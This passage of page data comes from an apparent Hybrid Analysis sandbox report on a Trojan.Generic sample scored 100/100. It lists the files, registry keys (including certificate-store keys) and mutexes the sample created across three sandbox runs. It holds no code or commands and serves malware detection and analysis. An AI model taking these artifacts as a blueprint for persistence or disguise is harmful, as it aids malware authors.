x","report_id":"65d6f8411fc9da0dcc00738f"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Templates","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"path":"%WINDIR%\\Resources\\0409\\STOM\\ANTIPOT.INI","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"path":"%LOCALAPPDATA%\\fcp","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"path":"%LOCALAPPDATA%\\fcp\\tartuffery","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"path":"%LOCALAPPDATA%\\fcp\\tartuffery\\appelinstans","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"path":"%LOCALAPPDATA%\\fcp\\tartuffery\\appelinstans\\Citronsommerfuglene\\Vaabenbesiddelse\\Fdselsoverskuddet246\\Homoseksualisme\\Fremlejet.Kle","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"path":"%LOCALAPPDATA%\\fcp\\tartuffery\\appelinstans\\Insected\\Bnskraft\\Kenotafium\\Usquabaes\\Androidal.Sub","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"path":"%LOCALAPPDATA%\\fcp\\tartuffery\\appelinstans\\Insected\\Bnskraft\\Kenotafium\\Usquabaes\\Rekylgevrets119.pah","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"path":"%LOCALAPPDATA%\\fcp\\tartuffery\\appelinstans\\Insected\\Bnskraft\\Kenotafium\\Usquabaes\\cytoglobin.txt","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"path":"%ALLUSERSPROFILE%\\Microsoft\\Windows\\Templates\\ligeliges.ini","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"path":"%ALLUSERSPROFILE%\\Intersystematically","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"path":"%ALLUSERSPROFILE%\\Intersystematically\\Giflen155","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"},{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"path":"%TEMP%\\nsl97DC.tmp\\nsExec.dll","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"}]},{"path":"%TEMP%\\nsl97DC.tmp\\nsCCE1.tmp","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\03CIMQRCLK6G48CIZLE4.temp","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\d93f411851d7c929.customDestinations-ms~RFfd825.TMP","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"}]},{"path":"%TEMP%\\nsdFB01.tmp","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"path":"%TEMP%\\nsn1F4.tmp","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"path":"%TEMP%\\nsn1F4.tmp\\nsExec.dll","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"path":"%TEMP%\\nsn1F4.tmp\\ns278E.tmp","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"path":"%TEMP%\\o4g2vrnf.1fn.ps1","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"path":"%TEMP%\\ondxqyms.0c3.psm1","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"path":"%TEMP%\\ppbv1cy5.mtv.ps1","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"path":"%TEMP%\\p502nb50.tjb.psm1","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"path":"%TEMP%\\nsjE94D.tmp","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\INetCache\\Manzanilla.lnk","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"path":"%TEMP%\\nsvEBFE.tmp","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"path":"%PROGRAMFILES%\\(x86)\\Common Files\\precautious.ini","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"path":"%TEMP%\\nsvEBFE.tmp\\nsExec.dll","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_qs1r51y5.fef.ps1","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_d2l3iryr.h0l.psm1","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SOFTWARE\\SKRMPLANTERS\\KAMPAGNELEDERS\\","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"key":"HKLMHKLM\\SOFTWARE\\","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"key":"HKLMHKLM\\SOFTWARE\\SKRMPLANTERS\\","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\DERMATIC\\UNINSTALL\\FILMISES\\CYANOPHYCEOUS\\","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\DERMATIC\\","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\DERMATIC\\UNINSTALL\\","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\DERMATIC\\UNINSTALL\\FILMISES\\","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\VIVISECTIONS\\UNINSTALL\\ELASTICATE\\","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\VIVISECTIONS\\","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\VIVISECTIONS\\UNINSTALL\\","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"key":"HKLMHKLM\\SOFTWARE\\PENSIONSSYSTEM\\AMIDOFLUORID\\","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"key":"HKLMHKLM\\SOFTWARE\\PENSIONSSYSTEM\\","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"key":"HKLMHKLM\\SOFTWARE\\TRVAREN\\UNREFUNDING\\","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\WINTRUST\\TRUST PROVIDERS\\SOFTWARE PUBLISHING\\","sources":[{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\SKRMPLANTERS\\KAMPAGNELEDERS\\","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\SKRMPLANTERS\\","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\DERMATIC\\UNINSTALL\\FILMISES\\CYANOPHYCEOUS\\","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\DERMATIC\\","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\DERMATIC\\UNINSTALL\\","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\DERMATIC\\UNINSTALL\\FILMISES\\","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\VIVISECTIONS\\UNINSTALL\\ELASTICATE\\","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\VIVISECTIONS\\","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\VIVISECTIONS\\UNINSTALL\\","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\PENSIONSSYSTEM\\AMIDOFLUORID\\","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\PENSIONSSYSTEM\\","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\TRVAREN\\UNREFUNDING\\","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"key":"HKLMHKLM\\SOFTWARE\\WOW6432NODE\\TRVAREN\\","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"key":"HKLMHKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\\","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\_SHuassist.mtx","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\CLR_PerfMon_WrapMutex","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"},{"report_type":"sandbox","report_id":"6a85130cd8470415e40ce212"}]},{"name":"Global\\CLR_PerfMon_WrapMutex","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"}]},{"name":"_SHuassist.mtx","sources":[{"report_type":"sandbox","report_id":"65d6f865888d581f5902adca"}]},{"name":"SM0:3800:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"name":"Local\\SM0:3800:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"name":"Local\\SM0:3800:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"name":"Local\\SM0:3176:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"name":"SM0:3176:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"name":"Local\\SM0:7988:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]},{"name":"SM0:7988:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"65d6f8411fc9da0dcc00738f"}]}]}},"report_ids":{"sandbox_job_ids":["65d6f865888d581f5902adca","65d6f8411fc9da0dcc00738f","6a85130cd8470415e40ce212"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Trojan.Generic Sample 27d75cacb0ec… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 27d75cacb0ec…. Malware family: Trojan.Generic. Threat score 100/100. 11/23 AV engines flagged this file. 4 malicious and 27 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/27d75cacb0ec5845bd163635926ca0ecef4ea1bb92032df9e81e64b6e406e5a2"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Generic Sample 27d75cacb0ec… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 27d75cacb0ec…. Malware family: Trojan.Generic. Threat score 100/100. 11/23 AV engines flagged this file. 4 malicious and 27 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/27d75cacb0ec5845bd163635926ca0ecef4ea1bb92032df9e81e64b6e406e5a2"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Generic Sample 27d75cacb0ec… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 27d75cacb0ec…. Malware family: Trojan.Generic. Threat score 100/100. 11/23 AV engines flagged this file. 4 malicious and 27 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L57","11",{}]]